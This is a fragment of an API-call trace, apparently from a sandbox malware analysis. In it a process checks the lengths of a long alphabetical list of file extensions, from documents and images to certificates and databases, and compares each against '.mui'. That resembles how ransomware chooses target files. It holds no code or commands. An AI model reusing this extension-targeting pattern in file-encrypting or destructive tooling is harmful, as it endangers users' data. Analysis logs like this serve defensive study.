lstrlenW (lpString=".ai") returned 3 [0088.508] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0088.508] lstrlenW (lpString=".ai3") returned 4 [0088.508] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".ai4") returned 4 [0088.508] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".ai5") returned 4 [0088.508] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".ai6") returned 4 [0088.508] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".ai7") returned 4 [0088.508] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".ai8") returned 4 [0088.508] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".anim") returned 5 [0088.508] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0088.508] lstrlenW (lpString=".arw") returned 4 [0088.508] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".as") returned 3 [0088.508] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0088.508] lstrlenW (lpString=".asa") returned 4 [0088.508] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".asc") returned 4 [0088.509] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".ascx") returned 5 [0088.509] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0088.509] lstrlenW (lpString=".asm") returned 4 [0088.509] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".asmx") returned 5 [0088.509] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0088.509] lstrlenW (lpString=".asp") returned 4 [0088.509] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".aspx") returned 5 [0088.509] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0088.509] lstrlenW (lpString=".asr") returned 4 [0088.509] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".asx") returned 4 [0088.509] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".avi") returned 4 [0088.509] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".avs") returned 4 [0088.509] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".backup") returned 7 [0088.509] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0088.509] lstrlenW (lpString=".bak") returned 4 [0088.509] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".bay") returned 4 [0088.509] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0088.509] lstrlenW (lpString=".bd") returned 3 [0088.510] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0088.510] lstrlenW (lpString=".bin") returned 4 [0088.510] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".bmp") returned 4 [0088.510] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".bz2") returned 4 [0088.510] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".c") returned 2 [0088.510] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0088.510] lstrlenW (lpString=".cdr") returned 4 [0088.510] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".cer") returned 4 [0088.510] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".cf") returned 3 [0088.510] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0088.510] lstrlenW (lpString=".cfc") returned 4 [0088.510] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".cfm") returned 4 [0088.510] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".cfml") returned 5 [0088.510] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0088.510] lstrlenW (lpString=".cfu") returned 4 [0088.510] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".chm") returned 4 [0088.510] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0088.510] lstrlenW (lpString=".cin") returned 4 [0088.511] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".class") returned 6 [0088.511] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0088.511] lstrlenW (lpString=".clx") returned 4 [0088.511] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".config") returned 7 [0088.511] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0088.511] lstrlenW (lpString=".cpp") returned 4 [0088.511] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".cr2") returned 4 [0088.511] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".crt") returned 4 [0088.511] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".crw") returned 4 [0088.511] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".cs") returned 3 [0088.511] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0088.511] lstrlenW (lpString=".css") returned 4 [0088.511] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".csv") returned 4 [0088.511] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".cub") returned 4 [0088.511] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".dae") returned 4 [0088.511] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0088.511] lstrlenW (lpString=".dat") returned 4 [0088.512] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".db") returned 3 [0088.512] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0088.512] lstrlenW (lpString=".dbf") returned 4 [0088.512] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dbx") returned 4 [0088.512] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dc3") returned 4 [0088.512] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dcm") returned 4 [0088.512] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dcr") returned 4 [0088.512] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".der") returned 4 [0088.512] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dib") returned 4 [0088.512] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dic") returned 4 [0088.512] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".dif") returned 4 [0088.512] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0088.512] lstrlenW (lpString=".divx") returned 5 [0088.512] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0088.512] lstrlenW (lpString=".djvu") returned 5 [0088.512] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0088.512] lstrlenW (lpString=".dng") returned 4 [0088.513] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".doc") returned 4 [0088.513] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".docm") returned 5 [0088.513] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0088.513] lstrlenW (lpString=".docx") returned 5 [0088.513] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0088.513] lstrlenW (lpString=".dot") returned 4 [0088.513] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".dotm") returned 5 [0088.513] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0088.513] lstrlenW (lpString=".dotx") returned 5 [0088.513] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0088.513] lstrlenW (lpString=".dpx") returned 4 [0088.513] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".dqy") returned 4 [0088.513] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".dsn") returned 4 [0088.513] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".dt") returned 3 [0088.513] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0088.513] lstrlenW (lpString=".dtd") returned 4 [0088.513] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".dwg") returned 4 [0088.513] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0088.513] lstrlenW (lpString=".dwt") returned 4 [0088.514] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".dx") returned 3 [0088.514] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0088.514] lstrlenW (lpString=".dxf") returned 4 [0088.514] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".edml") returned 5 [0088.514] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0088.514] lstrlenW (lpString=".efd") returned 4 [0088.514] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".elf") returned 4 [0088.514] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".emf") returned 4 [0088.514] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".emz") returned 4 [0088.514] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".epf") returned 4 [0088.514] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".eps") returned 4 [0088.514] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0088.514] lstrlenW (lpString=".epsf") returned 5 [0088.514] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0088.514] lstrlenW (lpString=".epsp") returned 5 [0088.514] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0088.514] lstrlenW (lpString=".erf") returned 4 [0088.514] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".exr") returned 4 [0088.515] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".f4v") returned 4 [0088.515] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".fido") returned 5 [0088.515] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0088.515] lstrlenW (lpString=".flm") returned 4 [0088.515] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".flv") returned 4 [0088.515] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".frm") returned 4 [0088.515] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".fxg") returned 4 [0088.515] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".geo") returned 4 [0088.515] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".gif") returned 4 [0088.515] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0088.515] lstrlenW (lpString=".grs") returned 4 [0088.515] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".gz") returned 3 [0088.516] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0088.516] lstrlenW (lpString=".h") returned 2 [0088.516] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0088.516] lstrlenW (lpString=".hdr") returned 4 [0088.516] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".hpp") returned 4 [0088.516] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".hta") returned 4 [0088.516] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".htc") returned 4 [0088.516] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".htm") returned 4 [0088.516] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".html") returned 5 [0088.516] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0088.516] lstrlenW (lpString=".icb") returned 4 [0088.516] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0088.516] lstrlenW (lpString=".ics") returned 4 [0088.517] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".iff") returned 4 [0088.517] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".inc") returned 4 [0088.517] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".indd") returned 5 [0088.517] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0088.517] lstrlenW (lpString=".ini") returned 4 [0088.517] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".iqy") returned 4 [0088.517] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".j2c") returned 4 [0088.517] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".j2k") returned 4 [0088.517] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".java") returned 5 [0088.517] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0088.517] lstrlenW (lpString=".jp2") returned 4 [0088.517] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0088.517] lstrlenW (lpString=".jpc") returned 4 [0088.518] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".jpe") returned 4 [0088.518] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".jpeg") returned 5 [0088.518] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0088.518] lstrlenW (lpString=".jpf") returned 4 [0088.518] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".jpg") returned 4 [0088.518] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".jpx") returned 4 [0088.518] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".js") returned 3 [0088.518] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0088.518] lstrlenW (lpString=".jsf") returned 4 [0088.518] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".json") returned 5 [0088.518] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0088.518] lstrlenW (lpString=".jsp") returned 4 [0088.518] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".kdc") returned 4 [0088.518] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".kmz") returned 4 [0088.518] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0088.518] lstrlenW (lpString=".kwm") returned 4 [0088.518] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".lasso") returned 6 [0088.519] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0088.519] lstrlenW (lpString=".lbi") returned 4 [0088.519] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".lgf") returned 4 [0088.519] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".lgp") returned 4 [0088.519] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".log") returned 4 [0088.519] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".m1v") returned 4 [0088.519] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".m4a") returned 4 [0088.519] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".m4v") returned 4 [0088.519] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".max") returned 4 [0088.519] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".md") returned 3 [0088.519] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0088.519] lstrlenW (lpString=".mda") returned 4 [0088.519] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".mdb") returned 4 [0088.519] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0088.519] lstrlenW (lpString=".mde") returned 4 [0088.519] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mdf") returned 4 [0088.520] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mdw") returned 4 [0088.520] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mef") returned 4 [0088.520] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mft") returned 4 [0088.520] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mfw") returned 4 [0088.520] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mht") returned 4 [0088.520] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mhtml") returned 6 [0088.520] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0088.520] lstrlenW (lpString=".mka") returned 4 [0088.520] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mkidx") returned 6 [0088.520] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0088.520] lstrlenW (lpString=".mkv") returned 4 [0088.520] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mos") returned 4 [0088.520] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mov") returned 4 [0088.520] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mp3") returned 4 [0088.520] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0088.520] lstrlenW (lpString=".mp4") returned 4 [0088.521] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0088.521] lstrlenW (lpString=".mpeg") returned 5 [0088.521] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0088.521] lstrlenW (lpString=".mpg") returned 4 [0088.521] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0088.521] lstrlenW (lpString=".mpv") returned 4 [0088.521] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0088.521] lstrlenW (lpString=".mrw") returned 4 [0088.521] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0088.521] lstrlenW (lpString=".msg") returned 4 [0088.521] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0088.521] lstrlenW (lpString=".mxl") returned 4 [0088.521] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".myd") returned 4 [0088.521] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".myi") returned 4 [0088.521] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".nef") returned 4 [0088.521] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".nrw") returned 4 [0088.521] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".obj") returned 4 [0088.521] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".odb") returned 4 [0088.521] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0088.521] lstrlenW (lpString=".odc") returned 4 [0088.522] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0088.522] lstrlenW (lpString=".odm") returned 4 [0088.522] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0088.522] lstrlenW (lpString=".odp") returned 4 [0088.522] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0088.522] lstrlenW (lpString=".ods") returned 4 [0088.522] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0088.522] lstrlenW (lpString=".oft") returned 4 [0088.522] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0088.522] lstrlenW (lpString=".one") returned 4 [0088.522] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0088.522] lstrlenW (lpString=".onepkg") returned 7 [0088.522] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0088.522] lstrlenW (lpString=".onetoc2") returned 8 [0088.523] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0088.523] lstrlenW (lpString=".opt") returned 4 [0088.523] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".oqy") returned 4 [0088.523] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".orf") returned 4 [0088.523] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".p12") returned 4 [0088.523] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".p7b") returned 4 [0088.523] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".p7c") returned 4 [0088.523] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pam") returned 4 [0088.523] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pbm") returned 4 [0088.523] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pct") returned 4 [0088.523] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pcx") returned 4 [0088.523] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pdd") returned 4 [0088.523] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pdf") returned 4 [0088.523] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.523] lstrlenW (lpString=".pdp") returned 4 [0088.524] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".pef") returned 4 [0088.524] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".pem") returned 4 [0088.524] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".pff") returned 4 [0088.524] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".pfm") returned 4 [0088.524] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".pfx") returned 4 [0088.524] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".pgm") returned 4 [0088.524] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".php") returned 4 [0088.524] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0088.524] lstrlenW (lpString=".php3") returned 5 [0088.524] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0088.524] lstrlenW (lpString=".php4") returned 5 [0088.524] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0088.524] lstrlenW (lpString=".php5") returned 5 [0088.524] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0088.524] lstrlenW (lpString=".phtml") returned 6 [0088.524] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0088.524] lstrlenW (lpString=".pict") returned 5 [0088.524] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0088.525] lstrlenW (lpString=".pl") returned 3 [0088.525] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0088.525] lstrlenW (lpString=".pls") returned 4 [0088.525] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".pm") returned 3 [0088.525] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0088.525] lstrlenW (lpString=".png") returned 4 [0088.525] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".pnm") returned 4 [0088.525] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".pot") returned 4 [0088.525] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".potm") returned 5 [0088.525] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0088.525] lstrlenW (lpString=".potx") returned 5 [0088.525] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0088.525] lstrlenW (lpString=".ppa") returned 4 [0088.525] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".ppam") returned 5 [0088.525] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0088.525] lstrlenW (lpString=".ppm") returned 4 [0088.525] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".pps") returned 4 [0088.525] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0088.525] lstrlenW (lpString=".ppsm") returned 5 [0088.525] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0088.526] lstrlenW (lpString=".ppt") returned 4 [0088.526] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".pptm") returned 5 [0088.526] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0088.526] lstrlenW (lpString=".pptx") returned 5 [0088.526] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0088.526] lstrlenW (lpString=".prn") returned 4 [0088.526] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".ps") returned 3 [0088.526] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0088.526] lstrlenW (lpString=".psb") returned 4 [0088.526] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".psd") returned 4 [0088.526] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".pst") returned 4 [0088.526] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".ptx") returned 4 [0088.526] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".pub") returned 4 [0088.526] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".pwm") returned 4 [0088.526] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".pxr") returned 4 [0088.526] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0088.526] lstrlenW (lpString=".py") returned 3 [0088.526] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0088.527] lstrlenW (lpString=".qt") returned 3 [0088.527] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0088.527] lstrlenW (lpString=".r3d") returned 4 [0088.527] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0088.527] 